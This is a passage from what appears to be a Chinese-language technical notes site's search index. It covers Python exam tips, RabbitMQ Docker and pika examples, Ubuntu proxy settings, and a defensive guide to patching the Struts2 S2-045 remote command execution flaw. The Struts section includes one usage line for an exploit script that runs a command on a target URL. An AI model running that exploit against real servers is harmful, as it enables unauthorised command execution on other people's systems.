<p>\\u7136\\u540e\\u5c31\\u53d1\\u73b0\\u4f60\\u7684\\u7a0b\\u5e8f\\u597d\\u4e45\\u6ca1\\u53cd\\u5e94\\uff0c\\u5c31\\u5e94\\u8be5\\u4f18\\u5316\\u4e86</p>\"},{\"location\":\"PythonCourse/#_34\",\"title\":\"\\u60f3\\u60f3\\u600e\\u4e48\\u7b80\\u5316\\u8ba1\\u7b97\",\"text\":\"<p>\\u8fd8\\u662f\\u54e5\\u5fb7\\u5df4\\u8d6b\\u731c\\u60f3\\u8fd9\\u4e2a\\u9898\\u76ee\\uff0c\\u4f60\\u89c9\\u5f97\\u9700\\u8981\\u6c42\\u51fa\\u5c0f\\u4e8eN\\u7684\\u6240\\u6709\\u7d20\\u6570\\u561b\\uff1f\\u7136\\u540e\\u5728\\u8fd9\\u4e2a\\u7d20\\u6570\\u6570\\u7ec4\\u91cc\\u6c42\\u6c42\\u548c\\uff1f</p> <p>\\u5f53\\u7136\\u8fd9\\u4e2a\\u65b9\\u6cd5\\u6ca1\\u9519\\uff0c\\u53ea\\u662f\\u592a\\u6162\\u4e86\\uff0c\\u8981\\u6c42\\u51fa20\\u4ebf\\u4ee5\\u5185\\u7684\\u6240\\u6709\\u7d20\\u6570\\uff0c\\u8fd9\\u4e2a\\u592a\\u8d35\\u4e86\\uff08\\u592a\\u8017\\u65f6\\u4e86\\uff0c\\u65f6\\u95f4\\u5c31\\u662f\\u91d1\\u94b1\\u554a\\uff09</p> <p>\\u6211\\u4eec\\u7684\\u76ee\\u6807\\u53ea\\u662f\\u7ed9\\u51fa\\u4e00\\u4e2aN=p+q\\u5c31\\u884c\\uff0c\\u53ea\\u8981\\u4ece2\\u5f00\\u59cb\\u627e\\u7d20\\u6570p\\uff0c\\u7136\\u540e\\u9a8c\\u8bc1N-p\\u4e5f\\u662f\\u7d20\\u6570\\u5373\\u53ef</p>\"},{\"location\":\"PythonCourse/#python-homework-review\",\"title\":\"Python Homework Review\",\"text\":\"<p>PDF\\u4e0b\\u8f7d</p> <p>\\u63d0\\u7eb2\\uff1a</p> <ul> <li>Python\\u548cC\\u8bed\\u8a00\\u4e0d\\u540c\\u7684\\u5730\\u65b9</li> <li>\\u7a0b\\u5e8f\\u8f93\\u51fa\\u5565\\uff1f\\u628a\\u81ea\\u5df1\\u5f53\\u6210Python\\u89e3\\u91ca\\u5668 \\u5199\\u8349\\u7a3f</li> <li>\\u5c40\\u90e8\\u53d8\\u91cf \\u51fd\\u6570\\u91cc\\u88ab\\u8d4b\\u503c\\u4e86\\u7684\\u5c31\\u662f\\u5c40\\u90e8\\u53d8\\u91cf</li> <li>\\u5bf9\\u9f50 {0:T^20} \\u7528T\\u8865\\u9f5020\\u4f4d \\u5c45\\u4e2d</li> </ul> <p>\\u7f16\\u7a0b\\u9898\\u8003\\u8bd5\\u6280\\u5de7\\uff1a</p> <ul> <li>\\u4e00\\u6b65\\u6b65\\u5199\\uff0c\\u5199\\u4e00\\u70b9\\u5c31\\u4fa7\\u4e00\\u70b9</li> <li>\\u5185\\u7f6e\\u51fd\\u6570\\u719f\\u7ec3\\u638c\\u63e1 \\u5982sum</li> <li>\\u6ce8\\u610f\\u7a7a\\u683c \\u4e0d\\u8981\\u6d6a\\u8d39\\u65f6\\u95f4\\u5728\\u683c\\u5f0f\\u9519\\u8bef\\u4e0a</li> <li>\\u4ed4\\u7ec6\\u8bfb\\u9898 \\u4e00\\u904d\\u4e0d\\u884c\\u591a\\u8bfb\\u51e0\\u904d</li> <li>\\u770b\\u770b\\u4e0a\\u754c\\uff08\\u4e00\\u822c\\u7528\\u4e0d\\u7740\\uff09</li> <li>\\u63d0\\u53d6\\u51fa\\u51fd\\u6570\\uff0c\\u964d\\u4f4e\\u601d\\u7ef4\\u8d1f\\u62c5</li> <li>\\u9012\\u5f52\\u51fd\\u6570\\u600e\\u4e48\\u5199\\uff1f\\u60f3\\u6e05\\u695a \\u53c2\\u6570 \\u8fd4\\u56de\\u503c \\u7684\\u542b\\u4e49</li> <li>\\u5b9e\\u5728\\u641e\\u4e0d\\u5b9a\\uff1f\\u522b\\u653e\\u5f03\\uff0c\\u9a97\\u5206\\uff01</li> </ul> <p>\\u9700\\u8981\\u8bb0\\u4f4f\\u70b9\\u5565\\uff1f</p> <ul> <li>\\u7c7b\\u578b\\uff1ainput()\\u8fd4\\u56de\\u7684\\u662f\\u5b57\\u7b26\\u4e32\\uff0c\\u7528int, float\\u8f6c\\u6362\\uff1b\\u7528isinstance\\u5224\\u65ad\\u7c7b\\u578b\\uff1b\\u54ea\\u4e9b\\u662fFalse</li> <li>\\u6570\\u5b57\\uff1a\\u9664\\u4ee50\\u7684\\u5f02\\u5e38\\uff0c\\u8fdb\\u5236\\u8f6c\\u6362\\uff0c\\u5224\\u65ad\\u7d20\\u6570\\uff0c\\u683c\\u5f0f\\u5316\\u8f93\\u51fa\\uff0c\\u4f18\\u5148\\u7ea7</li> <li>\\u5b57\\u7b26\\u4e32\\uff1alen\\uff0cupper\\uff0clower\\uff0cstrip\\uff0csplit\\uff0cjoin</li> <li>\\u5217\\u8868\\uff1aappend\\uff0cindex\\uff0csorted(key=lambda i:-i)\\uff0c\\u6570\\u7ec4\\u7684\\u6570\\u7ec4\\uff0c\\u5206\\u7247\\uff0c<code>[::-1]</code>\\uff0c\\u5217\\u8868\\u63a8\\u5bfc\\u5f0f</li> <li>\\u5b57\\u5178\\uff1akeys\\uff0citems\\uff0cupdate</li> <li>\\u5faa\\u73af\\uff1arange\\uff0cfor i in \\u2026\\uff0cwhile \\u2026\\uff0c\\u53d8\\u91cf\\u521d\\u59cb\\u5316</li> <li>\\u51fd\\u6570\\uff1a\\u4f20\\u9012\\u4e00\\u4e2a\\u5217\\u8868\\uff1f\\uff08\\u5f15\\u7528\\u4f20\\u9012\\uff09\\u5c40\\u90e8\\u53d8\\u91cf\\uff0c\\u5168\\u5c40\\u53d8\\u91cf</li> <li>tuple\\uff1bset\\uff1b\\u6587\\u4ef6\\uff1b\\u7c7b</li> </ul>\"},{\"location\":\"RabbitMQ/\",\"title\":\"RabbitMQ \\u6d88\\u606f\\u961f\\u5217\",\"text\":\"\"},{\"location\":\"RabbitMQ/#docker\",\"title\":\"Docker\\u90e8\\u7f72\",\"text\":\"<ul> <li>\\u5fc5\\u987b\\u8bbe\\u7f6e\\u4e3b\\u673a\\u540d \\u2013hostname</li> <li>\\u6570\\u636e\\u5377\\u6620\\u5c04</li> <li>\\u4f7f\\u7528macvlan\\u5206\\u914dIP</li> <li>\\u914d\\u7f6e\\u7528\\u6237\\u5bc6\\u7801</li> </ul> <p>\\u914d\\u7f6e\\u7528\\u6237\\u5bc6\\u7801\\u5fc5\\u987b\\u8981\\u6c42\\u6570\\u636e\\u6587\\u4ef6\\u5939\\u4e3a\\u7a7a\\uff0c\\u5426\\u5219\\u4e0d\\u4f1a\\u751f\\u6548</p> <pre><code>rm -rf /docker/rabbitmq/\\n\\ndocker run -d --hostname rabbit --name rmq -v /docker/rabbitmq/:/var/lib/rabbitmq --network macvlan_bridge --ip 192.168.1.18 --dns 192.168.1.1 -e RABBITMQ_DEFAULT_USER=user -e RABBITMQ_DEFAULT_PASS=password rabbitmq\\n</code></pre>\"},{\"location\":\"RabbitMQ/#_1\",\"title\":\"\\u6d88\\u8d39\\u8005\\u7ade\\u4e89\\u7684\\u4efb\\u52a1\\u63a8\\u9001\\u6267\\u884c\",\"text\":\"<p>\\u4f8b\\u5982\\u53d1\\u9001\\u53c2\\u65701,2\\u5230\\u6d88\\u8d39\\u8005\\u6267\\u884c<code>add(a,b)</code>\\u51fd\\u6570\\uff0c\\u6bcf\\u4e2a\\u6d88\\u8d39\\u8005\\u6700\\u591a\\u63a5\\u53d7\\u4e00\\u4e2a\\u4efb\\u52a1</p>\"},{\"location\":\"RabbitMQ/#configpy\",\"title\":\"config.py \\u914d\\u7f6e\\u4fe1\\u606f\",\"text\":\"<p>\\u4e0e\\u4e0a\\u8ff0docker\\u542f\\u52a8\\u65f6\\u914d\\u7f6e\\u7684\\u4e00\\u81f4</p> <pre><code>RMQ_HOST = \\\"192.168.1.18\\\"\\nRMQ_PORT = 5672\\nRMQ_USER = \\\"user\\\"\\nRMQ_PASSWORD = \\\"password\\\"\\n</code></pre>\"},{\"location\":\"RabbitMQ/#taskpy\",\"title\":\"task.py \\u53d1\\u9001\\u4efb\\u52a1\",\"text\":\"<pre><code>#!/usr/bin/env python\\nimport pika\\nimport sys\\nimport json\\nfrom config import RMQ_HOST,RMQ_PORT,RMQ_USER,RMQ_PASSWORD\\nQUEUE_NAME = 'add_task_queue'\\n\\nparams = pika.ConnectionParameters(\\n        host=RMQ_HOST, \\n        port=RMQ_PORT, \\n        credentials=pika.credentials.PlainCredentials(RMQ_USER, RMQ_PASSWORD)\\n    )\\nconnection = pika.BlockingConnection(params)\\nchannel = connection.channel()\\n\\nchannel.queue_declare(queue=QUEUE_NAME, durable=True)\\n\\ndef queue_put(func_args): \\n    #func_args:\\u51fd\\u6570\\u53c2\\u6570list\\n    message = json.dumps(func_args)\\n    return channel.basic_publish(exchange='',\\n                          routing_key=QUEUE_NAME,\\n                          body=message,\\n                          properties=pika.BasicProperties(\\n                             delivery_mode = 2, # make message persistent\\n                          ))\\n\\nif __name__ == '__main__':\\n    queue_put([1,2])\\n    connection.close()\\n</code></pre>\"},{\"location\":\"RabbitMQ/#_2\",\"title\":\"\\u67e5\\u770b\\u961f\\u5217\\u72b6\\u6001\",\"text\":\"<p>\\u67e5\\u770b\\u961f\\u5217\\u540d\\u79f0 \\u51c6\\u5907\\u53d1\\u9001\\u7684\\u6570\\u91cf \\u6ca1\\u6709ack\\u7684\\u6570\\u91cf</p> <pre><code>docker exec rmq rabbitmqctl list_queues name messages_ready messages_unacknowledged\\n</code></pre>\"},{\"location\":\"RabbitMQ/#workerpy\",\"title\":\"worker.py \\u6267\\u884c\\u4efb\\u52a1\",\"text\":\"<pre><code>#!/usr/bin/env python\\nimport pika\\nimport time\\nimport json\\nfrom config import RMQ_HOST,RMQ_PORT,RMQ_USER,RMQ_PASSWORD\\nQUEUE_NAME = 'add_task_queue'\\n\\nparams = pika.ConnectionParameters(\\n        host=RMQ_HOST, \\n        port=RMQ_PORT, \\n        credentials=pika.credentials.PlainCredentials(RMQ_USER, RMQ_PASSWORD)\\n    )\\nconnection = pika.BlockingConnection(params)\\nchannel = connection.channel()\\n\\nchannel.queue_declare(queue=QUEUE_NAME, durable=True)\\nprint(' [*] Waiting for messages. To exit press CTRL+C')\\n\\ndef add(a, b):\\n    return a+b\\n\\ndef save_result(args, result):\\n    print(\\\"save_result for\\\", args, \\\":\\\", result)\\n    pass # using mysql or whatever storage...\\n\\ndef callback(ch, method, properties, body):\\n    print(\\\" [x] Received %r\\\" % body)\\n    args = json.loads(body.decode())\\n    result = add(*args)\\n    save_result(args, result)\\n    print(\\\" [x] Done\\\")\\n    ch.basic_ack(delivery_tag = method.delivery_tag)\\n\\nchannel.basic_qos(prefetch_count=1)\\nchannel.basic_consume(callback,\\n                      queue=QUEUE_NAME)\\n\\nchannel.start_consuming()\\n</code></pre> <p>\\u4ee3\\u7801\\u6765\\u81ea\\u5b98\\u65b9\\u6559\\u7a0b\\uff1a https://www.rabbitmq.com/tutorials/tutorial-two-python.html</p>\"},{\"location\":\"S2-045/\",\"title\":\"\\u4fee\\u590dStruts2\\u7684S2-045\\u6f0f\\u6d1e\",\"text\":\"\"},{\"location\":\"S2-045/#_1\",\"title\":\"\\u6f0f\\u6d1e\\u7b80\\u4ecb\",\"text\":\"<p>\\u6700\\u8fd1\\u6279\\u9732\\uff0cApache Struts 2\\u8f6f\\u4ef6\\u5b58\\u5728\\u8fdc\\u7a0b\\u547d\\u4ee4\\u6267\\u884c\\u9ad8\\u5371\\u6f0f\\u6d1e\\uff0cStruts2\\u5b98\\u65b9\\u5df2\\u7ecf\\u786e\\u8ba4\\u8be5\\u6f0f\\u6d1e\\uff0c\\u6f0f\\u6d1e\\u7f16\\u53f7\\u4e3aCVE-2017-5638\\uff0c\\u53d7\\u5f71\\u54cd\\u7684\\u7248\\u672c\\u5305\\u62ec Struts2.3.5 \\u5230 Struts2.3.31 \\u4ee5\\u53ca Struts2.5 \\u5230 Struts2.5.10 \\u3002\\u9ed1\\u5ba2\\u53ef\\u4ee5\\u5229\\u7528\\u8be5\\u6f0f\\u6d1e\\u901a\\u8fc7\\u6d4f\\u89c8\\u5668\\u5728\\u8fdc\\u7a0b\\u670d\\u52a1\\u5668\\u4e0a\\u6267\\u884c\\u4efb\\u610f\\u7cfb\\u7edf\\u547d\\u4ee4\\uff0c\\u5bf9\\u53d7\\u5f71\\u54cd\\u7ad9\\u70b9\\u9020\\u6210\\u4e25\\u91cd\\u5f71\\u54cd\\uff0c\\u5f15\\u53d1\\u6570\\u636e\\u6cc4\\u9732\\u3001\\u7f51\\u9875\\u7be1\\u6539\\u3001\\u690d\\u5165\\u540e\\u95e8\\u3001\\u6210\\u4e3a\\u8089\\u9e21\\u7b49\\u5b89\\u5168\\u4e8b\\u4ef6\\u3002</p> <p>\\u76ee\\u524d\\uff0cStruts 2\\u8f6f\\u4ef6\\u4f5c\\u4e3a\\u7f51\\u7ad9\\u5f00\\u53d1\\u7684\\u5e95\\u5c42\\u6a21\\u677f\\u4f7f\\u7528\\uff0c\\u7279\\u522b\\u662f\\u4e92\\u52a8\\u6027\\u8f83\\u5f3a\\u7684\\u7528\\u4e8e\\u62a5\\u540d\\u3001\\u6ce8\\u518c\\u3001\\u67e5\\u8be2\\u3001\\u7559\\u8a00\\u7684\\u4fe1\\u606f\\u7cfb\\u7edf\\uff0c\\u6211\\u56fd\\u5185\\u8d85\\u8fc7300\\u4e07\\u5bb6\\u653f\\u5e9c\\u7f51\\u7ad9\\u53ca\\u5176\\u5b50\\u7ad9\\u4f7f\\u7528\\u4e86Struts\\u6846\\u67b6\\u3002\\u9274\\u4e8eStruts 2\\u5e94\\u7528\\u5e7f\\u6cdb\\u3001\\u9ed1\\u5ba2\\u5173\\u6ce8\\u5ea6\\u8f83\\u9ad8\\u3001\\u6f0f\\u6d1e\\u5371\\u5bb3\\u8f83\\u5927\\u3001\\u653b\\u51fb\\u65b9\\u5f0f\\u7b80\\u5355\\uff0c\\u4e00\\u65e6\\u88ab\\u522b\\u6709\\u7528\\u5fc3\\u4eba\\u5458\\u5229\\u7528\\uff0c\\u53ef\\u80fd\\u5bf9\\u6211\\u7f51\\u7edc\\u5b89\\u5168\\u9020\\u6210\\u8f83\\u5927\\u7684\\u5371\\u5bb3\\u548c\\u5f71\\u54cd\\uff0c\\u5efa\\u8bae\\u5404\\u91cd\\u8981\\u884c\\u4e1a\\u90e8\\u95e8\\u53ca\\u65f6\\u7763\\u4fc3\\u6838\\u67e5\\u672c\\u90e8\\u95e8\\u3001\\u672c\\u884c\\u4e1a\\u3001\\u672c\\u8f96\\u533a\\u7f51\\u7ad9\\u5b89\\u5168\\u60c5\\u51b5\\uff0c\\u53ca\\u65f6\\u5835\\u585e\\u6f0f\\u6d1e\\uff0c\\u6d88\\u9664\\u5b89\\u5168\\u9690\\u60a3\\uff0c\\u63d0\\u9ad8\\u5b89\\u5168\\u9632\\u8303\\u80fd\\u529b\\uff0c\\u5e76\\u53ca\\u65f6\\u4e0a\\u62a5\\u6838\\u67e5\\u53ca\\u6574\\u6539\\u60c5\\u51b5\\u3002</p>\"},{\"location\":\"S2-045/#exp\",\"title\":\"exp\",\"text\":\"<p>\\u9996\\u5148\\u4e22\\u4e2aexp\\uff0c\\u7528\\u4e8e\\u68c0\\u9a8c\\u6f0f\\u6d1e\\u5b58\\u5728\\u6027\\uff1aexp.S2-045.py</p> <p>\\u4f7f\\u7528\\u65b9\\u6cd5\\u793a\\u4f8b\\uff1a</p> <pre><code>python exp.S2-045.py http://example.com/example.action \\\"id\\\"\\n</code></pre>\"},{\"location\":\"S2-045/#_2\",\"title\":\"\\u89e3\\u51b3\\u8fc7\\u7a0b\",\"text\":\"<p>\\u7ffb\\u904d\\u4e86\\u5b98\\u7f51\\u548c\\u5404\\u79cd\\u65b0\\u95fb\\uff0c\\u6ca1\\u6709\\u5207\\u5b9e\\u53ef\\u884c\\u7684\\u65b9\\u6848\\uff0c\\u4e0b\\u8f7d\\u5730\\u5740\\u53ea\\u6709\\u5b58\\u5728\\u6f0f\\u6d1e\\u76842.3.31\\u7684\\u7248\\u672c\\uff0c\\u6f0f\\u6d1e\\u4fee\\u590d\\u65b9\\u6848\\u90fd\\u662f\\u7b80\\u7565\\u7684\\u4e00\\u53e5\\u5347\\u7ea7\\u52302.3.32\\uff0c\\u67d0\\u4e9b\\u64ad\\u62a5\\u5e73\\u53f0&amp;\\u5b98\\u65b9\\u771f\\u662fmdzz\\uff0c\\u5230\\u5e95\\u662f\\u4e3a\\u4e86\\u4fc3\\u8fdb\\u6f0f\\u6d1e\\u4fee\\u8865\\u8fd8\\u662f\\u4fc3\\u8fdb\\u5168\\u7f51\\u88ab\\u9ed1\\uff1f</p> <p>\\u5b98\\u65b9\\u53ea\\u662f\\u7ed9\\u4e86\\u4e00\\u4e2amaven\\u7684\\u914d\\u7f6e\\u65b9\\u6cd5\\uff0c\\u5e76\\u6ca1\\u6709\\u76f4\\u63a5\\u53ef\\u4ee5\\u4e0b\\u8f7d\\u7684jar\\u6587\\u4ef6\\u6216zip\\u5305</p> <p>\\u53ea\\u80fd\\u6309\\u7167\\u5b98\\u65b9\\u7684\\u65b9\\u6cd5\\u7528maven\\u53bb\\u5c1d\\u8bd5\\u6784\\u5efa\\u4e00\\u4e2astruts\\u5e94\\u7528(\\u5feb\\u901f\\u88c5\\u597dmaven\\u7684\\u65b9\\u6cd5\\u662f\\u4e70\\u4e2a\\u9999\\u6e2f\\u7684vps\\u7528docker pull maven)\\uff0c\\u603b\\u7b97\\u53d1\\u73b0\\u4e86\\u65b0\\u7248\\u7684jar\\u5305\\u4e0b\\u8f7d\\u5730\\u5740\\uff1a</p> <p>https://repo.maven.apache.org/maven2/org/apache/struts/</p> <p>\\u901a\\u8fc7\\u4e0b\\u8f7d2.3.31\\u6838\\u5fc3\\u5305\\u53d1\\u73b0\\u53ea\\u6709<code>struts2-core</code>\\u662f\\u9700\\u8981\\u7684\\u3002</p>\"},{\"location\":\"S2-045/#jar\",\"title\":\"\\u901a\\u8fc7\\u5347\\u7ea7jar\\u5305\\u4fee\\u590d\",\"text\":\"\"},{\"location\":\"S2-045/#23x\",\"title\":\"2.3.x\\u7248\\u672c\\u4fee\\u590d\\u65b9\\u6cd5\",\"text\":\"<p>\\u4e0b\\u8f7d2.3.32\\u7248\\u672c\\u7684jar\\u6587\\u4ef6</p> <p>https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar</p> <p>\\u56fd\\u5185CDN\\u4e0b\\u8f7d\\u5730\\u5740: https://d.py3.io/struts2-core-2.3.32.jar</p> <p>\\u5047\\u8bbe\\u670d\\u52a1\\u5668\\u4e0a\\u7528\\u7684\\u662f2.3.30\\u7248\\u672c\\uff0c\\u5219<code>tomcat\\u6240\\u5728\\u76ee\\u5f55/webapps/\\u5e94\\u7528\\u540d\\u79f0/WEB-INF/lib</code>\\u91cc\\u9762\\u6709\\u4e00\\u4e2a<code>struts2-core-2.3.30.jar</code></p> <p>\\u4fee\\u590d\\u65b9\\u6cd5\\u5c31\\u662f\\u2460\\u628a\\u4e0a\\u8ff0\\u6587\\u4ef6\\u5220\\u6389(\\u81ea\\u884c\\u5907\\u4efd)\\uff0c\\u2461\\u4e0b\\u8f7d\\u5230\\u7684\\u65b0\\u7248jar\\u6587\\u4ef6\\u6539\\u540d\\u4e3a\\u540c\\u540d\\u6587\\u4ef6\\uff0c\\u2462\\u4e0a\\u4f20\\u66ff\\u6362\\uff0c\\u2463\\u91cd\\u542ftomcat\\u5373\\u53ef</p> <p>Tip: \\u66ff\\u6362\\u540e\\u8981\\u4fdd\\u8bc1\\u65e7\\u7248\\u7684jar\\u6587\\u4ef6\\u4e0d\\u5b58\\u5728\\uff0c\\u4f8b\\u5982\\u79fb\\u5230\\u4e0a\\u4e00\\u7ea7\\u76ee\\u5f55\\uff0c\\u4e0d\\u8981\\u628a\\u65e7\\u7248\\u672c\\u7684jar\\u6539\\u540d\\u7559\\u5728lib\\u76ee\\u5f55\\u4e0b\\uff0c\\u5426\\u5219\\u5c06\\u5bfc\\u81f4\\u8fd9\\u4e2awebapp\\u65e0\\u6cd5\\u542f\\u52a8</p>\"},{\"location\":\"S2-045/#25x\",\"title\":\"2.5.x\\u7248\\u672c\\u4fee\\u590d\\u65b9\\u6cd5\",\"text\":\"<p>\\u4e0b\\u8f7d2.5.10.1\\u7248\\u672c\\u7684jar\\u6587\\u4ef6</p> <p>https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.5.10.1/struts2-core-2.5.10.1.jar</p> <p>\\u56fd\\u5185CDN\\u4e0b\\u8f7d\\u5730\\u5740\\uff1ahttps://d.py3.io/struts2-core-2.5.10.1.jar</p> <p>\\u5047\\u8bbe\\u670d\\u52a1\\u5668\\u4e0a\\u7528\\u7684\\u662f2.5.10\\u7248\\u672c\\uff0c\\u5219<code>tomcat\\u6240\\u5728\\u76ee\\u5f55/webapps/\\u5e94\\u7528\\u540d\\u79f0/WEB-INF/lib</code>\\u91cc\\u9762\\u6709\\u4e00\\u4e2a<code>struts2-core-2.5.10.jar</code></p> <p>\\u4fee\\u590d\\u65b9\\u6cd5\\u540c\\u4e0a</p>\"},{\"location\":\"S2-045/#filter\",\"title\":\"\\u901a\\u8fc7\\u589e\\u52a0Filter\\u4fee\\u590d\",\"text\":\"<p>\\u5982\\u679c\\u4e0d\\u65b9\\u4fbf\\u66ff\\u6362jar\\u5305\\uff0c\\u53ef\\u4ee5\\u901a\\u8fc7\\u672c\\u65b9\\u6cd5\\u8fdb\\u884c\\u62e6\\u622a\\u653b\\u51fb\\u8bf7\\u6c42</p> <p>\\u2460 \\u5c06\\u4ee5\\u4e0bSecurityFilter.java\\u6587\\u4ef6\\u7f16\\u8bd1\\u6210SecurityFilter.class\\uff0c\\u6ce8\\u610f\\u7f16\\u8bd1\\u4e4b\\u524d\\u8bbe\\u7f6e\\u9879\\u76ee\\u7684\\u517c\\u5bb9\\u6027\\u7ea7\\u522b\\uff0c\\u9009\\u62e9\\u670d\\u52a1\\u5668\\u7248\\u672c\\u7684jdk\\uff0c\\u590d\\u5236\\u5230\\u5e94\\u7528\\u7684WEB-INF/classes\\u76ee\\u5f55\\u4e0b\\u3002</p> <pre><code>import java.io.IOException;\\nimport javax.servlet.Filter;\\nimport javax.servlet.FilterChain;\\nimport javax.servlet.FilterConfig;\\nimport javax.servlet.ServletException;\\nimport javax.servlet.ServletRequest;\\nimport javax.servlet.ServletResponse;\\nimport javax.servlet.http.HttpServlet;\\nimport javax.servlet.http.HttpServletRequest;\\nimport javax.servlet.http.HttpServletResponse;\\n\\n\\npublic class SecurityFilter extends HttpServlet implements Filter {\\n\\nprivate static final long serialVersionUID = 1L;\\n\\n\\npublic final String www_url_encode= \\\"application/x-www-form-urlencoded\\\";\\npublic final String mul_data= \\\"multipart/form-data\\\";\\npublic final String txt_pla= \\\"text/plain\\\";\\n\\npublic void doFilter(ServletRequest arg0, ServletResponse arg1,\\nFilterChain arg2) throws IOException, ServletException {\\n\\nHttpServletRequest request = (HttpServletRequest) arg0;\\nHttpServletResponse response = (HttpServletResponse) arg1;\\n\\nString contentType=request.getHeader(\\\"Content-Type\\\");\\n\\nif(contentType!=null&amp;&amp;!contentType.equals(\\\"\\\")&amp;&amp;!contentType.equalsIgnoreCase(www_url_encode)&amp;&amp;!contentType.equalsIgnoreCase(mul_data)&amp;&amp;!contentType.equalsIgnoreCase(txt_pla)){\\nresponse.setContentType(\\\"text/html;charset=UTF-8\\\");\\nresponse.getWriter().write(\\\"\\u975e\\u6cd5\\u8bf7\\u6c42Content-Type\\uff01\\\");\\nreturn;\\n}\\narg2.doFilter(request, response);\\n}\\n\\npublic void init(FilterConfig arg0) throws ServletException {\\n}\\n}\\n</code></pre> <p>\\u5047\\u8bbe\\u670d\\u52a1\\u5668\\u4e0a\\u7684<code>java -version</code>\\u544a\\u8bc9\\u6211\\u4eecjava\\u7684\\u7248\\u672c\\u662f1.7\\u7684\\uff0c\\u624b\\u91cc\\u53c8\\u6ca1\\u6709\\u5f53\\u524d\\u7f51\\u7ad9\\u7684\\u9879\\u76ee\\u6587\\u4ef6\\uff0c\\u9700\\u8981\\u8fd9\\u6837\\u8fdb\\u884c\\u7f16\\u8bd1\\uff1a</p> <p>eclipse\\u65b0\\u5efa\\u4e00\\u4e2a\\u5de5\\u7a0b\\uff0c\\u65b0\\u5efa\\u7c7b\\u590d\\u5236\\u4ee5\\u4e0a\\u4ee3\\u7801\\uff0c\\u9879\\u76ee\\u5c5e\\u6027\\u7684<code>Java Build Path</code>\\u4e2d\\u7684<code>Libraries</code>\\u6dfb\\u52a0tomcat\\u4e2d\\u7684<code>servlet-api.jar</code>\\uff0c<code>Java Complier</code>\\u9875\\u9762\\u4e2d\\u9009\\u62e9Complier compliance level\\u4e3a1.7</p> <p>eclipse\\u81ea\\u52a8\\u901a\\u8fc7\\u7f16\\u8bd1\\u540e\\uff0c\\u5373\\u53ef\\u5c06\\u6b64SecurityFilter.class\\u6587\\u4ef6\\u4f20\\u81f3\\u670d\\u52a1\\u5668\\u4e0a\\u7684\\u5e94\\u7528\\u7684WEB-INF/classes\\u76ee\\u5f55\\u4e0b\\u3002</p> <p>\\u8fd9\\u91cc\\u6709\\u6211\\u5df2\\u7ecf\\u7f16\\u8bd1\\u597d\\u7684class\\u6587\\u4ef6\\uff1a1.6 1.7 1.8</p> <p>\\u2461 \\u5c06\\u4e0b\\u9762\\u7684\\u4ee3\\u7801\\u52a0\\u5165WEB-INF/web.xml\\u6587\\u4ef6\\u7684\\u7b2c\\u4e00\\u4e2afilter\\u4e4b\\u524d\\u3002</p> <p>\\u64cd\\u4f5c\\u4e4b\\u524d\\u8bf7\\u8bb0\\u5f97\\u5907\\u4efd</p> <pre><code>&lt;filter&gt;\\n&lt;filter-name&gt;SecurityFilter&lt;/filter-name&gt;\\n&lt;filter-class&gt;SecurityFilter&lt;/filter-class&gt;\\n&lt;/filter&gt;\\n&lt;filter-mapping&gt;\\n&lt;filter-name&gt;SecurityFilter&lt;/filter-name&gt;\\n&lt;url-pattern&gt;/*&lt;/url-pattern&gt;\\n&lt;/filter-mapping&gt;\\n</code></pre> <p>\\u5982\\u56fe\\u6240\\u793a</p> <p></p> <p>\\u2462 \\u91cd\\u542f\\u5e94\\u7528\\u5373\\u53ef</p> <p>\\u91cd\\u542f\\u53ef\\u4ee5\\u5728tomcat\\u7684manager\\u9875\\u9762Reload\\u5e94\\u7528\\uff0c\\u6216\\u8005\\u76f4\\u63a5\\u91cd\\u542f\\u6574\\u4e2atomcat</p> <p>\\u5982\\u679c\\u5e94\\u7528\\u65e0\\u6cd5\\u542f\\u52a8\\uff0c\\u5728tomcat\\u4e0b\\u6709logs\\u76ee\\u5f55\\u53ef\\u4ee5\\u770b\\u5230\\u4e3a\\u5565\\u51fa\\u9519</p>\"},{\"location\":\"S2-045/#_3\",\"title\":\"\\u6d4b\\u8bd5\\u6548\\u679c\",\"text\":\"<p>\\u671f\\u5f85\\u4e00\\u4e2a\\u66f4\\u8d1f\\u8d23\\u4efb\\u7684\\u6f0f\\u6d1e\\u62ab\\u9732\\u8fc7\\u7a0b\\uff0c\\u671f\\u5f85\\u4e00\\u4e2a\\u66f4\\u52a0\\u5b89\\u5168\\u7684\\u4e92\\u8054\\u7f51</p> <p>Author: zjuchenyuan</p> <p>Source: https://py3.io/S2-045.html</p>\"},{\"location\":\"Ubuntu/\",\"title\":\"Ubuntu\\u684c\\u9762\\u7248\\u4f7f\\u7528\",\"text\":\"<p>\\u4f7f\\u7528ubuntu16.04\\u684c\\u9762\\u7248\\u7684\\u4e00\\u4e9b\\u6298\\u817e</p>\"},{\"location\":\"Ubuntu/#google\",\"title\":\"\\u5b89\\u88c5Google\\u62fc\\u97f3\\u5e76\\u914d\\u7f6e\\u4ee3\\u7406\",\"text\":\"<p>\\u5b89\\u88c5\\u8bf7\\u53c2\\u8003\\u8fd9\\u7bc7\\u6587\\u7ae0-ubuntu\\u5b89\\u88c5\\u8c37\\u6b4c\\u62fc\\u97f3\\u8f93\\u5165\\u6cd5</p> <p>\\u5176\\u4e2d\\u5728<code>im-config</code>\\u5207\\u6362\\u4e3a<code>fcitx</code>\\u540e\\uff0c\\u65e0\\u9700\\u91cd\\u542f\\uff0c\\u53ea\\u9700\\u8981\\u6ce8\\u9500\\u540e\\u518d\\u6b21\\u767b\\u5f55\\u5373\\u53ef\\uff08\\u6ce8\\u9500\\u4e0d\\u4f1a\\u5f71\\u54cdscreen\\u4e2d\\u7684\\u4efb\\u52a1\\uff09</p> <p>\\u5b89\\u88c5\\u540e\\u6700\\u4e3a\\u6709\\u7528\\u7684\\u4e91\\u5019\\u9009\\u529f\\u80fd\\u7531\\u4e8e\\u9700\\u8981\\u914d\\u7f6e\\u4ee3\\u7406\\u624d\\u80fd\\u7528\\uff0c\\u914d\\u7f6e\\u65b9\\u6cd5\\uff1a \\u6253\\u5f00\\u4e00\\u4e2aterminal\\uff08\\u5efa\\u8bae\\u542f\\u52a8\\u4e00\\u4e2ascreen\\uff09\\uff0c\\u914d\\u7f6e\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u7136\\u540e\\u91cd\\u542ffcitx\\uff1a</p> <pre><code>export http_proxy=\\\"http://127.0.0.1:8118\\\"\\nexport https_proxy=\\\"http://127.0.0.1:8118\\\"\\nfcitx 